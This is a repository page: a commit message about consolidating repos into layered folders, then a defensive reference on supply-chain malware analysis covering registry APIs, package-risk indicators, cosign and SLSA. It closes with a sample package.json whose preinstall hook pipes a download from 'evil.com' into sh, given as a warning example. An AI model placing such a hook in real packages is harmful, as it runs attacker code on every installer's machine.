Claude 24f816b6a3
Consolidate 22 sibling repos into layered organism structure
Place useful parts of the surrounding repos into sica-fondt by layer, per the
body model (Ada = membrane; brain/endocrine/capabilities/knowledge non-Ada):

- brain/        LLM reasoning + providers (dapr, hermes, MoMoA)
- capabilities/ REPRAG sidecars: hermes tools/skills, dapr tools, parallel
                dispatch, A51 channels, and the OSINT cluster
- knowledge/    LORAG corpus: 754 cyber-skills, agency personas, secure-coding,
                MITRE ATT&CK data
- reference/    defensive threat-reference (C3, shhbruh doc) + AdaYaml parser

License handling: AGPL sources (worldosint, advanced_evolution, mercury,
Reticulum) and GPL DeTTECT are SPEC-only clean-room/port descriptions — no
copyleft code copied. MIT/Apache/data parts copied as working trees.

Safety: shhbruh escape/persistence material and C3 covert-C2 kept as reference
only, not wired into the running organism. See CONSOLIDATION.md.

https://claude.ai/code/session_01UehUqEXXJJCsHoA4voCU5c
2026-06-10 06:53:01 +00:00

2.1 KiB

API Reference: Supply Chain Malware Analysis

npm Registry API

Package Metadata

curl https://registry.npmjs.org/<package-name>
curl https://registry.npmjs.org/<package-name>/<version>

Response Fields

Field Description
dist-tags.latest Latest version
versions All published versions
maintainers Package maintainers
time.created First publish date
time.modified Last modification

PyPI JSON API

Package Info

curl https://pypi.org/pypi/<package-name>/json

Key Fields

Field Description
info.author Package author
info.version Current version
releases All versions with artifacts
info.project_urls Source code links

Socket.dev - Supply Chain Analysis

npm Audit

socket npm audit
socket npm info <package>

Suspicious Package Indicators

Indicator Severity Description
preinstall/postinstall hooks HIGH Code runs during npm install
URL/git dependencies HIGH Dependencies from non-registry source
eval/exec in setup.py HIGH Dynamic code execution during pip install
Base64 in install scripts HIGH Obfuscated payload
Recently created package MEDIUM New package mimicking popular name
Single maintainer LOW Bus factor risk

Sigstore/cosign Verification

Verify Container Image

cosign verify --certificate-identity-regexp=".*" \
  --certificate-oidc-issuer-regexp=".*" image:tag

Verify Artifact

cosign verify-blob --signature file.sig --certificate file.crt artifact.tar.gz

SLSA Framework Levels

Level Requirement
SLSA 1 Build provenance exists
SLSA 2 Hosted build platform, authenticated provenance
SLSA 3 Hardened build platform, non-falsifiable provenance
SLSA 4 Two-party review, hermetic builds

npm install Hook Risks

{
  "scripts": {
    "preinstall": "curl evil.com/payload | sh",
    "postinstall": "node ./install.js",
    "preuninstall": "node cleanup.js"
  }
}